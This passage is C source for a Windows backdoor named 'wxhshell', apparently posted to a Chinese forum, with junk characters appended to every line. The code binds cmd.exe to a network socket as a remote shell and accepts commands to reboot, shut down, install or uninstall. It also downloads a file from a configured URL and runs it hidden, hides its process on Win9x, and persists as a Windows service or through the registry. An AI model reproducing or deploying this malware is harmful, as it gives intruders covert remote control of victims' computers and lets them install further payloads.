  // 帮助 4QI vxH  
  case '?': { >MQW{^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bjT0Fi0-  
    break; (/*-M]>  
  } STOE=TC>  
  // 安装 ?N|PgNu X  
  case 'i': { /=r&9P@Ay<  
    if(Install()) .{x5(bi0S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V;:A&  
    else .!6ufaf$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yhsb$wu  
    break; fZ %ZV  
    } uo%O\} #u9  
  // 卸载 g:,4Kd|  
  case 'r': { hR`dRbBi%  
    if(Uninstall()) lJYv2EZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ihYf WG|  
    else 5N|77AAxK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w^p2XlQ<  
    break; u8,T>VNVw  
    } pEaH^(I*  
  // 显示 wxhshell 所在路径 ]g)%yuox9F  
  case 'p': { dF?pEet?2  
    char svExeFile[MAX_PATH]; ix/uV)]k`  
    strcpy(svExeFile,"\n\r"); GYs4#40  
      strcat(svExeFile,ExeFile); ^|\?vA  
        send(wsh,svExeFile,strlen(svExeFile),0); LnyA5T  
    break; <_Lo3WGwc  
    } 0WPxzmY  
  // 重启 hs*:!&E  
  case 'b': { "yz@LV1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rd!.8K[  
    if(Boot(REBOOT)) gSv<.fD"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d)AkA\neWo  
    else { M1>a,va8Zq  
    closesocket(wsh); G^OSXf5  
    ExitThread(0); w##Fpv<m  
    } c ~C W-%wN  
    break; ZEMo`O  
    } 97 g-*K  
  // 关机 L7b{H2 2  
  case 'd': { $R5-JvJJH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rTJWftH!  
    if(Boot(SHUTDOWN)) FP Mk&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0jS/U|0  
    else { (Zn\S*_@/  
    closesocket(wsh); hh{liS% 10  
    ExitThread(0); YsDl2P  
    } 2u:j6ic  
    break; ^ Q}1&w%  
    } 3$b(iI< "  
  // 获取shell `sXx,sV?B  
  case 's': { j AE0$u~.  
    CmdShell(wsh); 93dotuF  
    closesocket(wsh); b(VU{cf2d  
    ExitThread(0); {3R ax5Ty  
    break; ig,|3(  
  }  {MtB!x  
  // 退出 LNb![Rq  
  case 'x': { :6 fQE#(s&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]3,0 8JW=  
    CloseIt(wsh); Ed-gYL^<  
    break; ._3NqE;  
    } 9|`@czw  
  // 离开 g2]-Q.  
  case 'q': { l.juys8s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F~AS(sk  
    closesocket(wsh); .g~@e_;):  
    WSACleanup(); rZv+K/6*M  
    exit(1); &^H "T6  
    break; #V 6 -*  
        } %},gE[N!J  
  } = 1VH5pVr}  
  } t["Df;"O  
a:}"\>Aj  
  // 提示信息 B>ZPn6?y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C":\L>Ax  
} r\d:fot  
  } <^Tj}5 )n  
-#6*T,f0P(  
  return; gxM8IQ  
} 6hK"k  
BT3O_X`u  
// shell模块句柄 N -]PK%*  
int CmdShell(SOCKET sock) j!\0Fyr  
{ ai4^NJn  
STARTUPINFO si; RHVv}N0  
ZeroMemory(&si,sizeof(si)); 3L?a4,Q"k}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )y W_O:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dA/o4co  
PROCESS_INFORMATION ProcessInfo; 7V (7JV<>  
char cmdline[]="cmd"; >` QX xTn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |p8"9jN@}c  
  return 0; =4M.QA@lI!  
} Z*vpQBbu  
}KaCf,O  
// 自身启动模式 w[,?- Xm  
int StartFromService(void) L%o65  
{ .y;\puNq  
typedef struct @cS1w'=  
{ JW%/^'  
  DWORD ExitStatus; )S wG+k,  
  DWORD PebBaseAddress; /:Z~"Q*r  
  DWORD AffinityMask; {sna)v$;  
  DWORD BasePriority; hk5E=t~&  
  ULONG UniqueProcessId; ?LV-W  
  ULONG InheritedFromUniqueProcessId; S-M)MCL  
}   PROCESS_BASIC_INFORMATION; V$-~%7@>;9  
a$xeiy9  
PROCNTQSIP NtQueryInformationProcess; /mMAwx  
M~ i+F0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; StdS$XW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q2S!m6!  
ax72ehL}  
  HANDLE             hProcess; ;Txv -lfS  
  PROCESS_BASIC_INFORMATION pbi; y} $ P,  
{XDY:`vZ}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )D Gz`->  
  if(NULL == hInst ) return 0; ^8';8+$  
]< s\V-y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  ^6)GS%R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DD/>{kff  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 68koQgI[^  
qLQ <1>u  
  if (!NtQueryInformationProcess) return 0; X6LhM  
Yo~LckFF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;t;Y.*&=S  
  if(!hProcess) return 0; ?Y? gzD  
"EcX_>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e-CNQnO~  
kf%&d}2to  
  CloseHandle(hProcess); }J ei$0x  
W>5vRwx00  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~ON1Zw[+  
if(hProcess==NULL) return 0; ia%z+:G  
}}^,7npU  
HMODULE hMod; j[ J 5y#  
char procName[255]; \H Wcd|  
unsigned long cbNeeded; n S_Ta  
==QWwPpA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s<[A0=LH  
]pW86L%  
  CloseHandle(hProcess);  \#4m@  
w)+wj[6 E  
if(strstr(procName,"services")) return 1; // 以服务启动 )E'Fke  
8YuJ8KC  
  return 0; // 注册表启动 z$JX'(<Z7  
} BdN8 ^W  
A /q2g7My  
// 主模块 2 ;JQX!  
int StartWxhshell(LPSTR lpCmdLine) BjJ,"sT  
{ I Byf_E;r  
  SOCKET wsl; ?Bo?JMV  
BOOL val=TRUE; #SKfE  
  int port=0; s}6+8fE"  
  struct sockaddr_in door; ;{|X,;s  
zVSx$6eiU  
  if(wscfg.ws_autoins) Install(); 6X/wd k  
Zp?4uQ)[W  
port=atoi(lpCmdLine); 4-mVB wq  
3sH\1)Zz  
if(port<=0) port=wscfg.ws_port; t/}L36@+  
LO)GTyzvJ  
  WSADATA data; ,V,f2W 4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <OTWT`G2  
R (G2qi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }g~g50ci  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [ `7%sn]$  
  door.sin_family = AF_INET; lsk_P&M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i3#'*7f%j  
  door.sin_port = htons(port); 74+A+SK[  
k<H%vg>{~s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $B\ H  
closesocket(wsl); U&X2cR &a  
return 1; 4o<*PPA1  
} YTK^ijmU6x  
fAGctRGH  
  if(listen(wsl,2) == INVALID_SOCKET) { v5_7r%Hiw  
closesocket(wsl); Y25^]ON*\^  
return 1; O gmSQ  
} a d9CsvW  
  Wxhshell(wsl); #E DEYEW7  
  WSACleanup(); %%%S"$t  
re^Hc(8M  
return 0; y` yZ R _  
3GF2eS$$P  
} =7%o E[  
pj0fM{E  
// 以NT服务方式启动  W^Y#pn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qj!eLA-aD  
{ }u%"$[I}  
DWORD   status = 0; a8pY[)^c  
  DWORD   specificError = 0xfffffff; 9xFO]Y"  
j?6X1cMq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; glE^t6)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .m;G$X|3U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~>Kq<]3~  
  serviceStatus.dwWin32ExitCode     = 0; a^t?vv  
  serviceStatus.dwServiceSpecificExitCode = 0; #DFV=:|~  
  serviceStatus.dwCheckPoint       = 0;  rkB'Hf  
  serviceStatus.dwWaitHint       = 0; fKHE;A*>%  
S{#cD1>.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AQss4[\Dx  
  if (hServiceStatusHandle==0) return; #aar9  
bc I']WgB-  
status = GetLastError(); #Yuvbb[  
  if (status!=NO_ERROR) `y^sITr  
{ [8XLK4e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^e Gue  
    serviceStatus.dwCheckPoint       = 0; J~#$J&iKh  
    serviceStatus.dwWaitHint       = 0; p`F9Amb  
    serviceStatus.dwWin32ExitCode     = status; ~+G#n"Pn  
    serviceStatus.dwServiceSpecificExitCode = specificError; 80pid[F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WG7k(Sp ]  
    return; amWD-0V  
  } ?4 S+edX  
Zg~nlO2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Km#pX1]>e  
  serviceStatus.dwCheckPoint       = 0; F_;DN: {  
  serviceStatus.dwWaitHint       = 0; l;A,0,i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l?8M p$M  
} T?Fcohz(  
G:W>I=^DaR  
// 处理NT服务事件,比如:启动、停止 BvD5SBa}"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "2?l{4T\  
{ }8-\A7T  
switch(fdwControl) 3+Qxg+<  
{ uC3:7  
case SERVICE_CONTROL_STOP: h#r^teui)  
  serviceStatus.dwWin32ExitCode = 0; (ll*OVL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G oM ip8'u  
  serviceStatus.dwCheckPoint   = 0; 8eBOr9l+j  
  serviceStatus.dwWaitHint     = 0; AK!hK>u`  
  { fBn"kr;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {c?JuV4q?  
  } lv&mp0V+  
  return; M:KbD|  
case SERVICE_CONTROL_PAUSE: <*!i$(gn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^ KK_qC  
  break; :~Q!SL N  
case SERVICE_CONTROL_CONTINUE: wxg^Bq)D*R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g>rp@M  
  break; _@mRb^  
case SERVICE_CONTROL_INTERROGATE: 0MMEo~dih  
  break; ^N}Wnk7ks'  
}; im7nJQ^H$q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1n5(S<T  
} #`TgZKDg2  
9E2j!  
// 标准应用程序主函数 )n49lr6 X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0P^L}VVX  
{ s>k Uh  
\Ng\B.IQ  
// 获取操作系统版本 v2r&('pV  
OsIsNt=GetOsVer(); 9SlNq05G7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7!,YNy%  
tWTKgbj(  
  // 从命令行安装 R[z`:1lo  
  if(strpbrk(lpCmdLine,"iI")) Install(); D(p\0V  
9)xUA;Qw?z  
  // 下载执行文件 \^(0B8|w  
if(wscfg.ws_downexe) { YprH wL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iovfo2!hD  
  WinExec(wscfg.ws_filenam,SW_HIDE); Zwcy4>8  
} )"zvwgaW  
Sxdsv9w  
if(!OsIsNt) { aQ^umrj@?9  
// 如果时win9x,隐藏进程并且设置为注册表启动 4'$g(+z  
HideProc(); )jWO P,|  
StartWxhshell(lpCmdLine); ,B4VT 96*  
} -jgysBw+Xb  
else l4n)#?Q?  
  if(StartFromService()) JN^ &S  
  // 以服务方式启动 5@*'2rO&!  
  StartServiceCtrlDispatcher(DispatchTable); (feTk72XX  
else m9U"[Huv1E  
  // 普通方式启动 t8^m`W  
  StartWxhshell(lpCmdLine); z <mK>$  
LjL[V'JL  
return 0; tiN?/  
}
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只看该作者 1 发表于: 2006-10-10
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